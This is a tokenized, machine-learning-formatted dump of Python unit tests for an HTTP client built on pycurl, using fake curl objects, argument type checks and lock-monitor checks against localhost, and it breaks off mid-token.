"Request_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Assert", "ion", "Error_", ",_", "http_", "._", "client_", "._", "\\u", "Start", "Request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Fake", "Curl", "_", "(_", ")_", ",_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wro", "ng", "Host", "Type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "Wro", "ng", "Types_", "(_", "unicode_", "(_", "\"", "local", "host", "\"_", ")_", ",_", "8080_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wro", "ng", "Ur", "l", "Type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "Wro", "ng", "Types_", "(_", "\"", "local", "host", "\"_", ",_", "8080_", ",_", "\"", "GET", "\"_", ",_", "unicode_", "(_", "\"/", "version", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wro", "ng", "Meth", "od", "Type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "Wro", "ng", "Types_", "(_", "\"", "local", "host", "\"_", ",_", "8080_", ",_", "unicode_", "(_", "\"", "GET", "\"_", ")_", ",_", "\"/", "version", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wro", "ng", "Head", "er", "Type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "Wro", "ng", "Types_", "(_", "\"", "local", "host", "\"_", ",_", "8080_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "unicode_", "(_", "\"", "foo", "\"_", ")_", ":_", "\"", "bar", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Start", "Request_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Wro", "ng", "Post", "Data", "Type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test", "Wro", "ng", "Types_", "(_", "\"", "local", "host", "\"_", ",_", "8080_", ",_", "\"", "GET", "\"_", ",_", "\"/", "version", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "post", "\\u", "data_", "=_", "unicode_", "(_", "\"", "very", "long", "data", "\"_", "*_", "100_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Emp", "ty", "Curl", "Multi", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Emp", "ty", "Curl", "Multi", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "perform_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "pycurl_", "._", "E", "\\u", "MULTI", "\\u", "OK_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Emp", "ty", "Curl", "Multi", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "info", "\\u", "read_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "0_", ",_", "[_", "]_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Client", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test", "Empty_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "requests_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "http_", "._", "client_", "._", "Process", "Requests_", "(_", "requests_", ",_", "\\u", "curl_", "=_", "Not", "Implemented_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "curl", "\\u", "multi_", "=_", "\\u", "Emp", "ty", "Curl", "Multi", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "requests_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Process", "Curl", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "\\u", "Fake", "Curl", "Multi", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "handles_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "will", "\\u", "fail_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "expect_", "=_", "[_", "\"", "perform", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "counter_", "=_", "itertools_", "._", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "handle_", "(_", "self_", ",_", "curl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "curl_", "not_", "in_", "self_", "._", "handles_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handles_", "._", "append_", "(_", "curl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "counter_", "._", "next_", "(_", ")_", "%_", "3_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "will", "\\u", "fail_", "._", "append_", "(_", "curl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "handle_", "(_", "self_", ",_", "curl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "handles_", "._", "remove_", "(_", "curl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "perform_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "\\u", "expect_", "._", "pop_", "(_", "0_", ")_", "==_", "\"", "perform", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "counter_", "._", "next_", "(_", ")_", "%_", "2_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "perform", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "pycurl_", "._", "E", "\\u", "CALL", "\\u", "MULTI", "\\u", "PERF", "ORM", "_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "info", "\\u", "read", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "pycurl_", "._", "E", "\\u", "MULTI", "\\u", "OK_", ",_", "len_", "(_", "self_", "._", "handles_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "info", "\\u", "read_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "self_", "._", "\\u", "expect_", "._", "pop_", "(_", "0_", ")_", "==_", "\"", "info", "\\u", "read", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "successful_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "failed_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "handles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "counter_", "._", "next_", "(_", ")_", "%_", "17_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "=_", "self_", "._", "handles_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "curl_", "in_", "self_", "._", "will", "\\u", "fail_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "failed_", "._", "append_", "(_", "(_", "curl_", ",_", "-_", "1_", ",_", "\"", "test", " ", "error", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "successful_", "._", "append_", "(_", "curl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rema", "inin", "g", "\\u", "messages_", "=_", "len_", "(_", "self_", "._", "handles_", ")_", "%_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rema", "inin", "g", "\\u", "messages_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "info", "\\u", "read", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "select", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rema", "inin", "g", "\\u", "messages_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "select", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "rema", "inin", "g", "\\u", "messages_", ",_", "successful_", ",_", "failed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "select_", "(_", "self_", ",_", "timeout_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Never", " ", "compare", " ", "float", "s", " ", "for", " ", "equality", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "timeout_", ">=_", "0.95_", "and_", "timeout_", "<=_", "1.05_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "\\u", "expect_", "._", "pop_", "(_", "0_", ")_", "==_", "\"", "select", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "expect_", "._", "append_", "(_", "\"", "perform", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Process", "Curl", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "requests_", "=_", "[_", "\\u", "Fake", "Curl", "_", "(_", ")_", "for_", "\\u_", "in_", "range_", "(_", "10_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "multi_", "=_", "self_", "._", "\\u", "Fake", "Curl", "Multi", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "curl_", ",_", "errmsg_", ")_", "in_", "http_", "._", "client_", "._", "\\u", "Process", "Curl", "Requests_", "(_", "multi_", ",_", "requests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "curl_", "not_", "in_", "multi_", "._", "handles_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "curl_", "in_", "multi_", "._", "will", "\\u", "fail_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "\"", "test", " ", "error", "\"_", "in_", "errmsg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "errmsg_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "multi_", "._", "handles_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "multi_", "._", "\\u", "expect_", ",_", "[_", "\"", "select", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "\\u", "Du", "mm", "y", "Curl", "Multi", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Monitor", "Checker_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "monitor_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Get", "Monitor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "monitor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "call\\u\\u_", "(_", "self_", ",_", "monitor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "callable_", "(_", "monitor_", "._", "Get", "Lock", "Info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "monitor_", "=_", "monitor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "No", "Monitor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "With", "Monitor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Test_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Process", "Requests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Test_", "(_", "self_", ",_", "use", "\\u", "monitor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "cfg", "\\u", "fn_", "(_", "port_", ",_", "curl_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curl_", "._", "opts_", "[_", "\"\\u\\u", "port", "\\u\\u\"_", "]_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Lock", "Check", "Reset_", "(_", "monitor_", ",_", "req_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "monitor_", "._", "\\u", "lock_", "._", "is", "\\u", "owned", "_", "(_", "shared_", "=_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Lock", " ", "must", " ", "be", " ", "owned", " ", "in", " ", "exclu", "sive", " ", "mode", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "hasattr_", "(_", "req_", ",_", "\"", "lock", "check", "\\u\\u\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "req_", ",_", "\"", "lock", "check", "\\u\\u\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Nic", "e", "Name_", "(_", "port_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "port_", "%_", "5_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "nice", "name", "%", "s", "\"_", "%_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Us", "e", " ", "standard", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "requests_", "=_", "[_", "http_", "._", "client_", "._", "Http", "Client", "Request_", "(_", "\"", "local", "host", "\"_", ",_", "i_", ",_", "\"", "POST", "\"_", ",_", "\"/", "version", "%", "s", "\"_", "%_", "i_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "curl", "\\u", "config", "\\u", "fn_", "=_", "compat_", "._", "partial_", "(_", "cfg", "\\u", "fn_", ",_", "i_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "completion", "\\u", "cb_", "=_", "Not", "Impl", "ement", "ed", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nice", "name_", "=_", "\\u", "Build", "Nic", "e", "Name_", "(_", "i_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "151", "76_", ",_", "155", "01_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "s", "\\u", "count_", "=_", "len_", "(_", "requests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lock", "\\u", "monit", "or", "\\u", "cb_", "=_", "self_", "._", "\\u", "Monitor", "Checker_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lock", "\\u", "monit", "or", "\\u", "cb_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Process", "Requests_", "(_", "multi_", ",_", "handles_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "multi_", ",_", "self_", "._", "\\u", "Du", "mm", "y", "Curl", "Multi", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "requests_", ")_", ",_", "len_", "(_", "handles_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "compat_", "._", "all_", "(_", "isinstance_", "(_", "curl_", ",_", "\\u", "Fake", "Curl", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "curl_", "in_", "handles_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prepare", " ", "for", " ", "lock", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "req_", "in_", "requests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "req_", "._", "completion", "\\u", "cb_", "is_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "req_", "._", "completion", "\\u", "cb_", "=_", "compat_", "._", "partial_", "(_", "\\u", "Lock", "Check", "Reset_", ",_", "lock", "\\u", "monit", "or", "\\u", "cb_", "._", "Get", "Monitor_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "idx_", ",_", "curl_", "in_", "enumerate_", "(_", "handles_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port_", "=_", "curl_", "._", "opts_", "[_", "\"\\u\\u", "port", "\\u\\u\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Per", "-", "request", " ", "config", " ", "function", " ", "was", " ", "not", " ", "call", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "monitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "lock", " ", "informati", "on", " ", "is", " ", "correct_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lock", "\\u", "info_", "=_", "lock", "\\u", "monit", 